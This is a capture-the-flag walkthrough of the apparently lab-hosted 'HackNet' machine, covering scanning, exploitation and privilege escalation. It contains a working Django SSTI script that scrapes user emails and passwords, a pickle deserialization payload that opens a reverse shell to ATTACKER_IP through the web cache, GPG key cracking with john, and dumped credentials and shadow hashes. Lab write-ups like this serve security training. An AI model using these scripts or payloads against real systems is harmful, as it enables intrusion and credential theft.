Enum
$ export IP=10.129.185.230
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
*snip*
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ8BFa2rPKTgVLDq1GN85n/cGWndJ63dTBCsAS6v3n8j85AwatuF1UE+C95eEdeMPbZ1t26HrjltEg2Dj+1A2DM=
| 256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFOSA3zBloIJP6JRvvREkPtPv013BYN+NNzn3kcJj0cH
80/tcp open http syn-ack nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://hacknet.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ echo "$IP hacknet.htb" | sudo tee -a /etc/hosts- Visit http://hacknet.htb
- Register user


- Based on cookies we can assume django is being used
- csrftoken
- sessionid
- Hacktricks Django
- Cache manipulation
- SSTI
- Pickle
- CVE’s
Cookie: csrftoken=0VfpfBwT6EzOhUHzuVSNbDhzb6FWtT6X; sessionid=fuev7ke53uctc6xr10vktgxltwy6y2qq- Keep note of your
sessionid - Hacktricks SSTI This was really the only initial attack vector without access to machine yet.

- After trying every parameter I could, the only combination I found as foothold goes as follows:
- By changing our username to a django SSTI payload like
{{7*7}}or{{ 7|add:7 }}we expect an error,49, or14if evaluated - The only place I could find SSTI rendered was within the
/likes/[X]endpoint based on posts you liked - Username = SSTI Liked post renders result
Normal Behavior


- Attempting
{{ 7|add:7 }}as username


- Trying to replace payload to something that may return results, eventually derived useful query
{{ users }}


- We see the usernames of everyone else who liked this post
{{users.USER_ID}}selects specific users (ex.{{users.0}})- After more trial and error we find emails and password can be accessed per user ID
- Expose creds via
{{users.USER_ID.email}}and{{users.USER_ID.password}}(since email is used for login) - ex )
{{users.1.email}}




User
Manual Method for User Creds
- The post we need is private (found by incrementing through each)
- However we can bypass this by visiting
/like/NUMto like any post - Visiting
/likes/NUM(similar but different) then reflects our username as we observed before in the page source - Visit http://hacknet.htb/likes/23

- Now “like” the post by visiting http://hacknet.htb/like/23

- Visit http://hacknet.htb/likes/23 again and refresh to display user information after each payload swap


Automatic method
- Here is a script that edits username to payload for each ID, extracting creds, from any/all posts.
- Can specify a range of posts or single one (
23if you don’t want full scan) - Requires your
sessionid - We can like any post through
/like/Xand access even restricted posts through/likes/Xso this just does them all
ssti.py
#!/usr/bin/env python3
import re, sys, time
from urllib.parse import urljoin
import requests
BASE_URL = 'http://hacknet.htb'
TEMP_USERNAME = 'asdf'
USER_INDEX_MIN, USER_INDEX_MAX = 1, 27
def parse_range(s: str) -> tuple[int, int]:
if '-' in s:
a, b = s.split('-', 1)
return int(a), int(b)
v = int(s)
return v, v
def fetch_csrf_token(sess: requests.Session, base: str) -> str:
resp = sess.get(urljoin(base, '/profile/edit'), timeout=10)
resp.raise_for_status()
match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text)
if not match:
raise SystemExit('no CSRF token')
return match.group(1)
def update_profile_username(sess: requests.Session, base: str, username: str, token: str) -> None:
edit = urljoin(base, '/profile/edit')
resp = sess.post(
edit,
data={
'csrfmiddlewaretoken': token,
'username': username,
'email': '',
'password': '',
'about': '',
'is_public': 'on',
},
headers={'Referer': edit},
timeout=10,
)
resp.raise_for_status()
def resolve_profile_id(sess: requests.Session, base: str, username: str) -> str:
resp = sess.get(urljoin(base, '/profile'), allow_redirects=True, timeout=10)
match = re.search(r'/profile/(\d+)$', resp.url)
if match:
return match.group(1)
resp = sess.get(urljoin(base, '/likes/1'), timeout=10)
resp.raise_for_status()
match = re.search(rf'<a[^>]*href="/profile/(\d+)"[^>]*>\s*<img[^>]*title="{re.escape(username)}"', resp.text)
if match:
return match.group(1)
raise SystemExit('could not resolve profile id')
def ensure_post_liked(sess: requests.Session, base: str, post_id: int, my_profile_id: str) -> None:
resp = sess.get(urljoin(base, f'/likes/{post_id}?t={int(time.time()*1000)}'), timeout=10)
if f'/profile/{my_profile_id}' not in resp.text:
sess.get(urljoin(base, f'/like/{post_id}'), timeout=10)
def ssti_evaluate_from_likes(sess: requests.Session, base: str, post_id: int, my_profile_id: str) -> str:
resp = sess.get(urljoin(base, f'/likes/{post_id}?t={int(time.time()*1000)}'), timeout=10)
match = re.search(rf'<a[^>]*href="/profile/{re.escape(my_profile_id)}"[^>]*>\s*<img[^>]*title="([^"]+)"', resp.text, re.S)
return match.group(1) if match else ''
def main(argv: list[str]) -> int:
if len(argv) != 2:
print('Usage: ssti_min.py SESSIONID POST|POST-POST', file=sys.stderr)
return 2
session_id, post_spec = argv
post_min, post_max = parse_range(post_spec)
user_min, user_max = USER_INDEX_MIN, USER_INDEX_MAX
sess = requests.Session()
sess.cookies.set('sessionid', session_id)
sess.headers.update({'User-Agent': 'Mozilla/5.0'})
token = fetch_csrf_token(sess, BASE_URL)
update_profile_username(sess, BASE_URL, TEMP_USERNAME, token)
my_profile_id = resolve_profile_id(sess, BASE_URL, TEMP_USERNAME)
credentials: set[str] = set()
for post_id in range(post_min, post_max + 1):
print(f'[+] Scanning post {post_id}', file=sys.stderr)
ensure_post_liked(sess, BASE_URL, post_id, my_profile_id)
token = fetch_csrf_token(sess, BASE_URL)
for user_index in range(user_min, user_max + 1):
email_payload = f'{{{{users.{user_index}.email}}}}'
update_profile_username(sess, BASE_URL, email_payload, token)
email = ssti_evaluate_from_likes(sess, BASE_URL, post_id, my_profile_id)
password_payload = f'{{{{users.{user_index}.password}}}}'
update_profile_username(sess, BASE_URL, password_payload, token)
password = ssti_evaluate_from_likes(sess, BASE_URL, post_id, my_profile_id)
if email and password and email != email_payload and password != password_payload:
credentials.add(f'{email}:{password}')
update_profile_username(sess, BASE_URL, TEMP_USERNAME, fetch_csrf_token(sess, BASE_URL))
for line in sorted(credentials):
print(line)
return 0
sys.exit(main(sys.argv[1:]))- Execute script to scrape user credentials via SSTI
- Takes your
sessionIDandpostrange as args
Usage
python ssti.py '<sessionid>' <POST>
python ssti.py '<sessionid>' <POST_START>-<POST_END>
Extract from entire range (1-27)
$ python ssti.py 'ifdu7h0uulvfyqgwy2qa1653lwoqzkvq' 1-27
[+] Scanning post 1
*snip*
[+] Scanning post 27
asdf@asdf.com:asdf
blackhat_wolf@cypherx.com:Bl@ckW0lfH@ck
brute_force@ciphermail.com:BrUt3F0rc3#
bytebandit@exploitmail.net:Byt3B@nd!t123
codebreaker@ciphermail.com:C0d3Br3@k!
cryptoraven@securemail.org:CrYptoR@ven42
cyberghost@darkmail.net:Gh0stH@cker2024
darkseeker@darkmail.net:D@rkSeek3r#
datadive@darkmail.net:D@taD1v3r
deepdive@hacknet.htb:D33pD!v3r
exploit_wizard@hushmail.com:Expl01tW!zard
glitch@cypherx.com:Gl1tchH@ckz
hexhunter@ciphermail.com:H3xHunt3r!
mikey@hacknet.htb:mYd4rks1dEisH3re
netninja@hushmail.com:N3tN1nj@2024
packetpirate@exploitmail.net:P@ck3tP!rat3
phreaker@securemail.org:Phre@k3rH@ck
rootbreaker@exploitmail.net:R00tBr3@ker#
shadowcaster@darkmail.net:Sh@d0wC@st!
shadowmancer@cypherx.com:Sh@d0wM@ncer
shadowwalker@hushmail.com:Sh@dowW@lk2024
stealth_hawk@exploitmail.net:St3@lthH@wk
trojanhorse@securemail.org:Tr0j@nH0rse!
virus_viper@securemail.org:V!rusV!p3r2024
whitehat@darkmail.net:Wh!t3H@t2024
zero_day@hushmail.com:Zer0D@yH@ck@hacknet.htb credentials
mikey@hacknet.htb
mYd4rks1dEisH3re
- SSH attempt with these creds is successful
$ sshpass -p 'mYd4rks1dEisH3re' ssh mikey@hacknet.htb
mikey@hacknet:~$ ls
user.txt
mikey@hacknet:~$ ls /home
mikey sandyRoot
- Looking through the
HackNetdirectory we find python script mentioning django cache- Hacktricks Django Cache
- Seems promising

- We can determine location of
file-based cachefrom reading source code
mikey@hacknet:~$ ls /var/www/HackNet/
backups db.sqlite3 HackNet manage.py media SocialNetwork static
mikey@hacknet:~$ ls /var/www/HackNet/HackNet/
asgi.py __init__.py __pycache__ settings.py urls.py wsgi.py
mikey@hacknet:~$ cat /var/www/HackNet/HackNet/settings.py
*snip*
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'hacknet',
'USER': 'sandy',
'PASSWORD': 'h@ckn3tDBpa$$',
'HOST':'localhost',
'PORT':'3306',
}
}
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}
*snip*/var/tmp/django_cache
mikey@hacknet:~$ ls -la /var/tmp/
total 16
drwxrwxrwt 4 root root 4096 Sep 14 11:29 .
drwxr-xr-x 12 root root 4096 May 31 2024 ..
drwxrwxrwx 2 sandy www-data 4096 Sep 14 17:20 django_cache
mikey@hacknet:/var/www$ ls -la /var/tmp/django_cache/
total 8
drwxrwxrwx 2 sandy www-data 4096 Sep 15 01:45 .
drwxrwxrwt 4 root root 4096 Sep 15 00:00 ..- Django Cache
- We have file write access to the directory
- Currently empty so we need to figure out how to trigger reliably
- We can grep for
import cacheto hopefully find cache source code
mikey@hacknet:/var/www$ grep -r "import cache" .
./HackNet/SocialNetwork/views.py:from django.views.decorators.cache import cache_page
mikey@hacknet:~$ cat /var/www/HackNet/SocialNetwork/views.py
*snip*
@cache_page(60)
def explore(request):
if not "email" in request.session.keys():
return redirect("index")
session_user = get_object_or_404(SocialUser, email=request.session['email'])
page_size = 10
keyword = ""
if "keyword" in request.GET.keys():
keyword = request.GET['keyword']
posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
else:
posts = SocialArticle.objects.all().order_by("-date")
pages = ceil(len(posts) / page_size)
if "page" in request.GET.keys() and int(request.GET['page']) > 0:
post_start = int(request.GET['page'])*page_size-page_size
post_end = post_start + page_size
posts_slice = posts[post_start:post_end]
else:
posts_slice = posts[:page_size]
news = get_news()
request.session['requests'] = session_user.contact_requests
request.session['messages'] = session_user.unread_messages
for post_item in posts:
if session_user in post_item.likes.all():
post_item.is_like = True
posts_filtered = []
for post in posts_slice:
if not post.author.is_hidden or post.author == session_user:
posts_filtered.append(post)
for like in post.likes.all():
if like.is_hidden and like != session_user:
post.likes_number -= 1
context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}
return render(request, "SocialNetwork/explore.html", context)
*snip*- Seems visiting
/explore?page=or/explore?keyword=triggers a 60 second cache file to be generated - Visiting http://hacknet.htb/explore?page=1 and observing
/var/tmp/django_cache/several times we can conclude identical filenames are always generated - Also the case with http://hacknet.htb/explore?keyword=asdf
- Only difference is that you must have the same keyword to generate same cache each time
mikey@hacknet:~$ ls -la /var/tmp/django_cache/
total 16
drwxrwxrwx 2 sandy www-data 4096 Sep 15 04:24 .
drwxrwxrwt 4 root root 4096 Sep 15 00:00 ..
-rw------- 1 sandy www-data 34 Sep 15 04:24 66d38febc2008ce4561dc6a477cd98fe.djcache
-rw------- 1 sandy www-data 2789 Sep 15 04:24 80c9aaf21683d67856f9a9d505d34a0b.djcache- Looking into documentation we see these are in fact using
pickle - Also contains warning that
picklecan be maliciously used in cache

- So we need to generate a malicious pickle payload and spoof this cache file
66d38febc2008ce4561dc6a477cd98fe.djcache - Match filename to corresponding file generated by
/explore?keyword={INPUT} or /explore?page=[1-3]) - Strongly suggests attack like Hacktricks Pickle PoC
pickle_poc.py
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")Tickle the Pickle
- If we can successfuly generate pickle payload and inject into cache, we may get RCE
- Since the nature of cache is to the be loaded when serving a page again, try refreshing to deserialize pickle payload
- Update your revshell info
- Rename
66d38febc2008ce4561dc6a477cd98fe.djcacheif needed
- Shameless plug: https://blog.johng4lt.com/Toolbox/Payloads/Pickle
pkl.py
import os
import pickle
ATTACKER_IP = "10.10.00.00"
ATTACKER_PORT = 6969
FILEPATH = "/var/tmp/django_cache/"
FILENAME = "66d38febc2008ce4561dc6a477cd98fe.djcache"
class ExploitPayload:
def __reduce__(self):
reverse_shell_cmd = (
f"python3 -c 'import os,pty,socket; "
f"sock_obj=socket.socket(); "
f"sock_obj.connect((\"{ATTACKER_IP}\",{ATTACKER_PORT})); "
f"[os.dup2(sock_obj.fileno(),fd_num) for fd_num in (0,1,2)]; "
f"pty.spawn(\"/bin/bash\")'"
)
return (os.system, (reverse_shell_cmd,))
payload_path = os.path.join(FILEPATH, FILENAME)
with open(payload_path, "wb") as payload_file:
pickle.dump(ExploitPayload(), payload_file, protocol=pickle.HIGHEST_PROTOCOL)- Run script and verify payload was generated
mikey@hacknet:~$ ls /var/tmp/django_cache/
66d38febc2008ce4561dc6a477cd98fe.djcache- Have your listener ready
- Refresh http://hacknet.htb/explore?keyword=asdf to trigger deserialization (or whatever you chose)
- This should tickle the pickle
- Catch shell
$ penelope -p 6969
[+] Listening for reverse shells on 0.0.0.0:6969
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
(Penelope)> maintain 2
[+] Maintain value set to 2 Enabled
[+] Got reverse shell from hacknet~10.129.185.230-Linux-x86_64 😍️ Assigned SessionID <1>
[!] --- Session 1 is trying to maintain 2 active shells on hacknet~10.129.185.230-Linux-x86_64 ---
[+] Attempting to spawn a reverse shell on 10.10.10.10:6969
[+] Got reverse shell from hacknet~10.129.185.230-Linux-x86_64 😍️ Assigned SessionID <2>
(Penelope)> sessions 1
[+] Attempting to deploy Python Agent...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
───────────────────────────────────────────────────────────────────────────
sandy@hacknet:/var/www/HackNet$ cd ~
sandy@hacknet:~$ ls -la
total 36
drwx------ 6 sandy sandy 4096 Sep 11 11:18 .
drwxr-xr-x 4 root root 4096 Jul 3 2024 ..
lrwxrwxrwx 1 root root 9 Sep 4 19:01 .bash_history -> /dev/null
-rw-r--r-- 1 sandy sandy 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 sandy sandy 3526 Apr 23 2023 .bashrc
drwxr-xr-x 3 sandy sandy 4096 Jul 3 2024 .cache
drwx------ 3 sandy sandy 4096 Dec 21 2024 .config
drwx------ 4 sandy sandy 4096 Sep 5 11:33 .gnupg
drwxr-xr-x 5 sandy sandy 4096 Jul 3 2024 .local
lrwxrwxrwx 1 root root 9 Aug 8 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 sandy sandy 808 Jul 11 2024 .profile
lrwxrwxrwx 1 root root 9 Jul 3 2024 .python_history -> /dev/null.gnupgpresent so lets investigate keys- https://forum.manjaro.org/t/forgot-a-simple-password-for-a-gpg-file/71718
sandy@hacknet:~$ gpg -k
/home/sandy/.gnupg/pubring.kbx
------------------------------
pub rsa1024 2024-12-29 [SC]
21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid [ultimate] Sandy (My key for backups) <sandy@hacknet.htb>
sub rsa1024 2024-12-29 [E]- Note says its the password for backup files
- Download for cracking
(Penelope)─(Session [1])> download /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc- Crack locally
$ gpg2john armored_key.asc > hash.txt
File armored_key.asc
$ cat hash.txt
Sandy:$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b:::Sandy (My key for backups) <sandy@hacknet.htb>::armored_key.asc
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
No password hashes left to crack (see FAQ)
$ john --show hash.txt
Sandy:sweetheart:::Sandy (My key for backups) <sandy@hacknet.htb>::armored_key.asc
1 password hash cracked, 0 leftsweetheartis noted as password for backups- Recall
/var/www/HackNet/backups - Decrypt and find
rootcreds insidebackup02.sql.gpg
sandy@hacknet:/var/www/HackNet/backups$ ls
backup01.sql.gpg backup02.sql.gpg backup03.sql.gpg
sandy@hacknet:/var/www/HackNet/backups$ gpg --decrypt /var/www/HackNet/backups/backup02.sql.gpg | grep 'password'
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <sandy@hacknet.htb>"
(26,'Brute force attacks may be noisy, but they’re still effective. I’ve been refining my techniques to make them more efficient, reducing the time it takes to crack even the most complex passwords. Writing up a guide on how to optimize your brute force attacks.','2024-08-30 14:19:57.000000',6,2,0,24);
(11,'Reducing the time to crack complex passwords is no small feat. Even though brute force is noisy, it’s still one of the most reliable methods out there. Your guide will be a must-read for anyone looking to sharpen their skills in this area!','2024-09-02 09:04:13.000000',26,7);
(47,'2024-12-29 20:29:36.987384','Hey, can you share the MySQL root password with me? I need to make some changes to the database.',1,22,18),
(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
(50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
`password` varchar(70) NOT NULL,
(24,'brute_force@ciphermail.com','brute_force','BrUt3F0rc3#','24.jpg','Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.',0,0,1,0,0),
`password` varchar(128) NOT NULL,Root Creds
root
h4ck3rs4re3veRywh3re99
- SSH as root or
su rootfrom a shell
$ sshpass -p 'h4ck3rs4re3veRywh3re99' ssh root@hacknet.htb
root@hacknet:~$ ls
root.txt
root@hacknet:~$ cat /etc/shadow
root:$y$j9T$eErHv1Ni5SMAxSFoqTEr50$xWrccq.2xlr5SK8EVQJirlRcjFhiJ2ZR7/qffCp4JX1:19874:0:99999:7:::
mikey:$y$j9T$xbgiDokk.SkF6LfxRj17s.$97Ppf4gQ3MVuwiqUPLOox4IAaSRwbB/ZCx0XQYsD8r9:19874:0:99999:7:::
sandy:$y$j9T$VYCki/awnyWb6fcUoC0wt0$F2m2BtdGa9d9lUJn3SucfnXFM/yXNhzF8hHZSW65eUB:19907:0:99999:7:::